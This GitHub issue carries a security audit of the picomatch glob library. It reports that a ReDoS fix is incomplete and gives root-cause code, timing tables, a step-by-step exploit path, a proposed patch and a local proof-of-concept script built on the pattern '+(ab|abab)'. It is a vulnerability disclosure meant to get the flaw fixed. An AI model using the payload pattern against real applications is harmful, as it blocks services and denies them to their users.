Skip to content

Security Audit: picomatch v4.0.4 | Incomplete ReDoS Fix Bypass (P1) #175

Description

@Raunaksplanet

Security Audit: micromatch/picomatch

Repo: https://github.com/micromatch/picomatch
Reviewed: 2026-06-06
Version audited: 4.0.4 (latest patched release)
Stack: JavaScript (Node.js >= 12)


[P1-01] Incomplete ReDoS Fix — Multi-Character Prefix Overlap Bypass

Field Detail
Severity P1 — Critical
CWE CWE-1333 (Inefficient Regular Expression Complexity)
CVSS 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
File lib/parse.js:142-162 (hasRepeatedCharPrefixOverlap)
Affected All versions including 4.0.4 (patched release)

Impact

The fix for CVE-2026-33671 (ReDoS via extglob quantifiers) is incomplete. The hasRepeatedCharPrefixOverlap function only detects overlapping alternatives composed of single-character repeats (e.g., a vs aa, b vs bbb). It fails to detect multi-character prefix overlaps (e.g., ab vs abab, foo vs foobar).

As a result, patterns like +(ab|abab) are still compiled into regex with catastrophic backtracking, even in the latest patched version (v4.0.4) with default settings. An attacker can cause Node.js event-loop blocking with relatively short inputs (~80 characters causes ~1.2 seconds of blocking).

This affects applications that accept untrusted user-supplied glob patterns — the same threat model as the original CVE.

Evidence

Root cause — lib/parse.js:142-162

const hasRepeatedCharPrefixOverlap = branches => {
    const values = branches.map(normalizeSimpleBranch).filter(Boolean);
    for (let i = 0; i < values.length; i++) {
        for (let j = i + 1; j < values.length; j++) {
            const a = values[i];
            const b = values[j];
            const char = a[0];
            // BUG: Only checks single-character repeats (e.g., 'a'/'aa')
            // Does NOT catch multi-character prefixes (e.g., 'ab'/'abab')
            if (!char || a !== char.repeat(a.length) || b !== char.repeat(b.length)) {
                continue;  // <-- skips all non-single-char-repeat branches
            }
            if (a === b || a.startsWith(b) || b.startsWith(a)) {
                return true;
            }
        }
    }
    return false;
};

The check a !== char.repeat(a.length) verifies that branch a consists entirely of the same character repeated (e.g., "aa" = "a".repeat(2)). For any branch that doesn't match this pattern (e.g., "ab"), the pair is silently skipped — even if one branch is a prefix of another.

Compiled regex for +(ab|abab) (v4.0.4)

/^(?:(?=.)(?:ab|abab)+)$/

This is a functional regex, NOT literalized. The fix should have treated this as a literal pattern.

Performance scaling — pattern +(ab|abab) against input ab.repeat(n) + "c", M1 MacBook

n Input length Time to reject
30 61 57 ms
35 71 134 ms
40 81 1,247 ms
45 91 12,758 ms

The time grows exponentially with input length. For only 91 characters, the regex takes ~13 seconds to reject the input.

Exploit Path

  1. Attacker provides glob pattern +(ab|abab) to an application that accepts user-supplied patterns
  2. Application passes the pattern to picomatch() for compilation
  3. picomatch compiles it to the regex ^(?:(?=.)(?:ab|abab)+)$
  4. Attacker sends a matching request with input ababab...c (~80+ characters)
  5. The regex engine enters catastrophic backtracking, blocking the Node.js event loop
  6. Result: Denial of Service — application becomes unresponsive

Affected Patterns

The following pattern classes all bypass the fix (tested on v4.0.4):

Pattern Compiles as regex? Vulnerable?
+(ab|abab) YES YES — 1.2s @ 81 chars
*(ab|abab) YES YES — 1.5s @ 81 chars
+(abc|abcabc) YES YES (higher input length needed)
+(foo|foobar) YES YES (higher input length needed)
+(a|aa) NO (literalized) Fixed by existing check

Remedy

The hasRepeatedCharPrefixOverlap function must be generalized to detect any prefix overlap between branches, not just single-character repeats. The fixed logic should be:

const hasPrefixOverlap = branches => {
    const values = branches.map(normalizeSimpleBranch).filter(Boolean);
    for (let i = 0; i < values.length; i++) {
        for (let j = i + 1; j < values.length; j++) {
            const a = values[i];
            const b = values[j];
            if (a === b || (a[0] && (a.startsWith(b) || b.startsWith(a)))) {
                return true;
            }
        }
    }
    return false;
};

This removes the char.repeat() filter and directly checks if any branch is a prefix of another branch. Same approach should replace hasRepeatedCharPrefixOverlap in analyzeRepeatedExtglob at lib/parse.js:299.

Workarounds (same as CVE-2026-33671):

  • Use noextglob: true to disable extglob parsing for untrusted patterns
  • Sanitize/reject patterns containing extglob quantifiers like +( and *(
  • Run pattern matching in isolated workers with time/resource limits
  • Apply request throttling on endpoints accepting glob patterns

Proof of Concept

Setup

# 1. Create a test directory and install picomatch 4.0.4
mkdir /tmp/picomatch-poc && cd /tmp/picomatch-poc
npm init -y && npm install picomatch@4.0.4

poc.js

// 2. Save this as poc.js
const pm = require('picomatch');
// THIS IS THE VULNERABLE PATTERN — not detected as risky
const pattern = '+(ab|abab)';
console.log('Generated regex:', pm.makeRe(pattern).source);
console.log('Is literal?', pm.makeRe(pattern).source.includes('\\+(') ? 'YES (safe)' : 'NO (VULNERABLE)');
console.log('');
const isMatch = pm(pattern);
// Exponential scaling test
for (let n = 10; n <= 45; n += 5) {
  const input = 'ab'.repeat(n) + 'c';
  const start = Date.now();
  isMatch(input);
  const elapsed = Date.now() - start;
  const stars = '*'.repeat(Math.min(Math.floor(elapsed / 100), 80));
  console.log(`n=${n}  len=${String(input.length).padStart(2)}  ${String(elapsed).padStart(6)}ms  ${stars}`);
}

Run

# 3. Run it
node poc.js

Expected Output

What you'll see: The generated regex is ^(?:(?=.)(?:ab|abab)+)$ — NOT literalized. Then timing grows exponentially:

  • n=30: ~50ms
  • n=40: ~1.2s
  • n=45: ~13s

Video Proof Of Concept

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Fields

    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions